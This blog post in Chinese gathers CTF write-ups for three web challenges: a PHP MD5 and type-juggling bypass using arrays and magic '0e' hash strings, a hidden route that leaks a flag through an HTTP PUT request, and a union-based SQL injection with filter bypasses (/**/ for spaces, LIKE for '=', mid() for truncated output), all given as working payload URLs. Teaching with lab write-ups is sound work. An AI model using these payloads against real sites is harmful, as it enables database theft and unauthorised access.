0X06

[NSSCTF 2022 Spring Recruit]babyphp

if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
 

 a,b1,b2都可以用数组绕过,因为a是正则绕过,b是MD5绕过

c1,c2都要是字符串,c1c2的MD5值要相等 所以c就不能用数组绕过,可以用科学计数法0e绕过

QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469

 payload

 a[]=0&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a

 [GDOUCTF 2023]EZ WEB

点击按钮得到

看源码得到一个路径

 访问得到一个脚本

 路由与处理 HTTP PUT 请求的函数相关联。当向此路由发出 PUT 请求时,该函数会尝试打开并读取名为 的文件的内容。然后,将文件的内容作为响应返回。这意味着当向此特定路由发出 PUT 请求时,应用程序会公开文件的内容。/super-secret-route-nobody-will-guessflag()'flag''flag'
HTTP的8种请求方式及常用请求方式的解析_http请求-CSDN博客

用bp改方式

[SWPUCTF 2021 新生赛]sql

直接使用 # 作为注释符是没有用的,但是将其 url 编码为 %23 就好使啦。
1.注意到空格被过滤了,这个可以用 /**/ 绕过
2. 等号被过滤了可以使用 like 绕过
3.最后是读取 flag 的时候回显的长度有限制,substr、reverse、right 什么的也被过滤,最后用的是 mid!

最后组合起来就可以了。

步骤

/?wllm=1

/?wllm=1' //这两个是判断类型,是字符型 单引号闭合

%23是#的url编码 ,达到注释的结果

/?wllm=1' group by 3%23 //这里会提示我们进行了非法操作,应该是过滤了空格

这里是过滤了空格,我们用/**/来绕过

/?wllm=1'/**/group/**/by/**/3%23

/?wllm=1'/**/group/**/by/**/4%23 //4报错了, 判断得回显列数为3

到这里是 判断出回显列数,我们还要知道位置

/?wllm=-1'/**/union/**/select/**/1,2,3%23

爆库名

/?wllm=-1'/**/union/**/select/**/1,2,database()%23

爆表名 但是过滤了=,用like来绕过

/?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

爆字段名

/?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()%23

查询flag

/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23

发现显示不全,我们使用substring连接

/?wllm=-1'/**/union/**/select/**/1,2,substring(group_concat(flag),1,30)/**/from/**/test_db.LTLT_flag%23

被过滤了,换mid试试 ,注意有三段, 注意:mid最大回显长度为20个字符

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/test_db.LTLT_flag%23
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/test_db.LTLT_flag%23

最后注意要截取三组,往往会漏掉第三组

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值